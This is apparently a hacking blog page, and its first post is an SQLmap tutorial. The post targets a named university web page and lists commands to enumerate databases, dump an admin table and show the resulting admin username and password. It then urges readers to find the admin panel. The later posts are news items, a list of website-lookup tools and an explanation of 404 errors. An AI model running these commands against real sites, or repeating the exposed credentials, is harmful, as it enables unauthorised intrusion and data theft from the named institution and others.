SQLmap Step By Step Tutorial

Today we will see the step-by-step tutorial of Sqlmap.
Sqlmap is developed in Python and it is available with Backtrack 5 and Backtrack 5 R1 and all versions of Backtrak, Otherwise you can download seperately also from

$ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev

Sqlmap is is best sql injection tool.

With sqlmap we can know the database name and type of database i.e,Mysql or SqlServer or ........ and we can find the database name and tables related to that database and we can dump the data from the database.
It is totally a database takeover tool

Steps:

1.First we require the vulnerable target and here it is

http://www.hu.edu.pk/viewfaculty.php?id=12

2.Go to Backtrack and type cd /pentest/database/sqlmap

3.Run the sqlmap

./sqlmap.py -u http://www.hu.edu.pk/viewfaculty.php?id=12

-u is the vulnerable url

./sqlmap.py -u http://www.hu.edu.pk/viewfaculty.php?id=12 --dbs

or

./sqlmap.py -u http://www.hu.edu.pk/viewfaculty.php?id=12 --current-db

if you write as --dbs then it will fetch all the databases in the server

and if you write --current-db then it will fetch only the database related to the current website

we will get the database name

./sqlmap.py -u http://www.hu.edu.pk/viewfaculty.php?id=12 -D c3results --tables

Here after -D we have to give the database name

--tables means we are trying to fetch the tables in the current database

and we will get the table names

after that we have to fetch only the table information which we required

./sqlmap.py -u http://www.hu.edu.pk/viewfaculty.php?id=12 -D c3results -T admin --columns

we will get the names of columns in that table with datatype

 

./sqlmap.py -u http://www.hu.edu.pk/viewfaculty.php?id=12 -D c3results -T admin -C id,passwrd,u_name --dump

now we will get the total information in the table "admin"

After finishing all the process you r having




Database Name : c3results
No of tables :48
Admin Table Name : admin
admin username : 123_admin_123
admin password : 123_hazara_123


Now you are having admin username and admin password , find the Admin Panel and  :)

Read more...

Team GrayHat Hacked

 

                                

Official Forum of one of the most popular hackers group named Teamgreyhat get hacked. A hacker named Hunt has hacked into the TGH's web-server and deface the index page. Also the hacker has claimed that he has breached all the data from that particular server. Since 2011 Teamgreyhat has became very popular form for hackers and also TGH is regarded as one of the most dangerous blackhat team as because if you dig the history you will find that TGH has rooted many web-servers and hacked millions of sites. Their last breach on Ankit Fadia's server gave them more popularity. But this hack will surely make a negative impact of TGH's reputation. The hacker also created deface mirror on the Arab-zone.

Teamgreyhat Reaction:-

                                       After this hack Teamgreyhat authority instantly released their statement. And in that they have clearly ignored the phenomena by saying Hunt (One Who Hacked The TGH Forum) belongs to TGH core team and he has full privilege on their server. In short he was maintaining that web-server. So a Admin can easily damage his own system. Also they have clearly stated that this is an internal attack. The hacker knew all the passwords and by which he logged into the system and changed the index page. To see the full press release of TGH click Here.

Read more...

Online tools for Analysing Website

Everyone of us curious to know about the website information like site owner ,earnings etc...
In Ethical Hacking the Information Gathering is the first and basic step to perform.

Here I’m gonna list 4 awesome online tools to study a website thoroughly:

1. How to Find The  Hosting Provider of Any Website?

Before we start a website as a beginner we are very much confused in selecting the hosting provider,in such case we Start analyzing the hosting provider of well established websites. Here is a online tool to do that

Check out :http://www.whoishostingthis.com/

2. How To find The Owner Details Of Any Website

Every one of us are very eager to know the owner of a website (if there is No Author Info) ,Here is a simple tool to find It out

Check out : www.who.is

3. How To Find The value / Earnings Of A website

This Information is provided by many sites ,But i list out the best one (Note: Reports generated by this site is an approximate estimated value )

Check: www.websiteoutlook.com

4. How To Find The Loading Speed Of Any Website

Quick loading websites will results better In SERP ,So Its very important for bloggers to keep an eye on their site speed ,this service is also provided by many sites,but the outstanding one is provided by iwebtools

Check: www.iwebtools.com

Bonus Tool :

How To Compare The Loading Speed Of Your Site With your Competitor’s Site ?

Chekot : http://whichloadsfaster.com/

Read more...

What is 404 Error ?

While Browsing through net you all might probably encounter this “Error 404? “Page not found” is the error page displayed whenever requested page is simply not available on your site. The reason for this might occur is that there may be a link on your site that was wrong or the page might have been recently removed from the site. As there is no web page to display, the web server sends a page that simply says “404 Page not found”.

When we expand the code 404, the first digit “4” represents a client error. The server indicates that you did a mistake like misspelling the URL or requesting for a page that is no longer available.

The middle digit, 0 represents a general syntax error and could indicate a spelling mistake.

The last digit, 4 refers to a specific error in the group of 40x.

The 404 error message is an HTTP (Hypertext Transfer Protocol) standard status code. This “Not Found” response code indicates that although the client could communicate to the server, the server could not find what was requested or it was configured not to fulfill the request.

The 404 “Not Found” error is not the same as the “Server Not Found” error which you see whenever a connection to the destination server could not be established at all.

Whenever you visit a web page, your computer will request data from a server through HTTP. Even before the requested page is displayed in your browser, the web server will send the HTTP header that has the status code. The status code provides information about the status of the request. A normal web page gets the status code as 200. But we do not see this as the server proceeds to send the contents of the page. It’s only when there is an error, we see the status code 404 Not Found.

Read more...

Hackers Leak The Source Code For Symantec Product

A group calling itself the "Lords of Dharmaraja" posted an Adobe document online Wednesday that it claimed was a glimpse of the source code for the internet security software. But Symantec spokesman Cris Paden said "no source code was disclosed" in the post, which was a 12-year-old document describing how the software worked, but not the code. Paden said Symantec continues to investigate the hackers' claim that they have source code.

But now Symantec, the makers of Norton AntiVirus, has confirmed that a hacking group has gained access to some of the security product's source code.

"Symantec can confirm that a segment of its source code has been accessed. Symantec’s own network was not breached, but rather that of a third party entity.We are still gathering information on the details and are not in a position to provide specifics on the third party involved.Presently, we have no indication that the code disclosure impacts the functionality or security of Symantec's solutions. Furthermore, there are no indications that customer information has been impacted or exposed at this time."

In a post to the site Pastebin, the hackers maintain they discovered the information in a hack of India's military computer network. The group claims to have found source code "of a dozen software companies" which have signed agreements to share code with Indian intelligence agencies.

After preliminary analysis appeared to contain source code for the 2006 version of Symantec's Norton antivirus product. Though the code is for an older version of the Norton antivirus product, the impact of the exposure is still as of yet undetermined. Symantec officials have indicated they will be providing more information as they continue their investigation, and certainly more will be known if the entirety of the compromised data YamaTough claims to be in possession of is finally released to the public as has been threatened.

Read more...